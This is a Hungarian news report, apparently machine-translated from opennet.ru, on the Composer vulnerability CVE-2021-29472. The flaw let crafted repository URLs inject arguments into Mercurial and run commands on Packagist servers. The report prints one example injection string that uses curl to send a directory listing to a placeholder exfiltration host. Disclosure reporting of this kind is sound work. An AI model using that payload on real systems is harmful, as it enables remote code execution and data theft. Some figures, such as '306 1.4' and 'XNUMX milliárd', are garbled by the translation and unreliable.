A Composer csomagkezelő sérülékenysége, amely lehetővé teszi a Packagist PHP lerakatának feltörését

Kritikus biztonsági rést (CVE-2021-29472) azonosítottak a Composer függőségi kezelőjében, amely lehetővé teszi tetszőleges parancsok végrehajtását a rendszeren a forráskód letöltési címét meghatározó, speciálisan formázott URL-értékkel rendelkező csomag feldolgozása során. A probléma a Git, a Subversion és a Mercurial forrásvezérlő rendszerek használatakor használt GitDriver, SvnDriver és HgDriver összetevőkben jelentkezik. A biztonsági rést a Composer 1.10.22-es és 2.0.13-as kiadásában szüntették meg.

Külön meg kell jegyezni, hogy a probléma elsősorban a Composer alapértelmezett csomagtárát, a Packagist érintette, amely 306 1.4 PHP-fejlesztői csomagot tartalmaz, és havonta több mint XNUMX milliárd letöltést szolgál ki. A kísérlet azt mutatta, hogy ha ismerik a problémát, a támadók átvehetik az irányítást a Packagist infrastruktúra felett, és elkaphatják a karbantartók hitelesítő adatait, vagy átirányíthatják a csomagletöltéseket egy harmadik féltől származó szerverre, megszervezve a csomagváltozatok kézbesítését rosszindulatú változtatásokkal a hátsó ajtó helyett. a függőségi telepítési folyamat során.

A végfelhasználók veszélye arra korlátozódik, hogy a composer.json fájl tartalmát általában a felhasználó határozza meg, és a forráshivatkozások továbbításra kerülnek, amikor harmadik féltől származó, általában megbízható adattárakat érnek el. A fő csapást a Packagist.org adattár és a Private Packagist szolgáltatás érte, amely a felhasználóktól kapott adatok átadásával hívta meg a Composert. A támadók végrehajthatják kódjukat a Packagist szervereken egy speciálisan tervezett csomag elhelyezésével.

A Packagist csapata a sérülékenység bejelentésétől számított 12 órán belül kijavította a biztonsági rést. A kutatók április 22-én privátban értesítették a Packagist fejlesztőit, és a problémát még aznap orvosolták. Április 27-én tették közzé a Composer biztonsági rését orvosló nyilvános frissítését, a részleteket április 28-án hozták nyilvánosságra. A Packagist szerverek naplóinak ellenőrzése nem tárt fel a sérülékenységgel kapcsolatos gyanús tevékenységet.

A problémát a gyökér composer.json fájlban található URL-ellenőrző kódban és a forrásletöltési hivatkozásokban lévő hiba okozza. A hiba 2011 novembere óta jelen van a kódban. A Packagist speciális rétegeket használ a kódbetöltés megszervezéséhez anélkül, hogy egy adott forrásvezérlő rendszerhez lenne kötve, amelyeket a „fromShellCommandline” meghívásával és parancssori argumentumok átadásával hajtanak végre. Például a git esetében a "git ls-remote -heads $URL" parancsot hívják meg, ahol az URL feldolgozása a "ProcessExecutor::escape($url)" metódussal történik, elkerülve a potenciálisan veszélyes konstrukciókat, például a "$(. ..)" vagy "` ...`".

A probléma lényege az, hogy a ProcessExecutor::escape metódus nem kerülte ki a „-” szekvenciát, ami lehetővé tette további hívási paraméterek megadását az URL-ben. Ez a kilépés hiányzott a GitDriver.php, SvnDriver.php és HgDriver.php illesztőprogramokból. A GitDriver.php támadást hátráltatta, hogy a „git ls-remote” parancs nem támogatta az elérési út után további argumentumok megadását. A HgDriver.php elleni támadás lehetségesnek bizonyult a „--config” paraméter átadásával a „hq” segédprogramnak, amely lehetővé teszi bármely parancs végrehajtásának megszervezését az „alias.identify” beállítás manipulálásával. Például kód letöltéséhez és végrehajtásához a curl segédprogram futtatásával a következőket adhatja meg: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

A Packagisthez hasonló URL-címmel ellátott tesztcsomag közzétételével a kutatók ellenőrizték, hogy a közzététel után a szerverük HTTP-kérést kapott az AWS egyik Packagist szerverétől, amely az aktuális könyvtárban lévő fájlok listáját tartalmazza.

Forrás: opennet.ru

Hozzászólás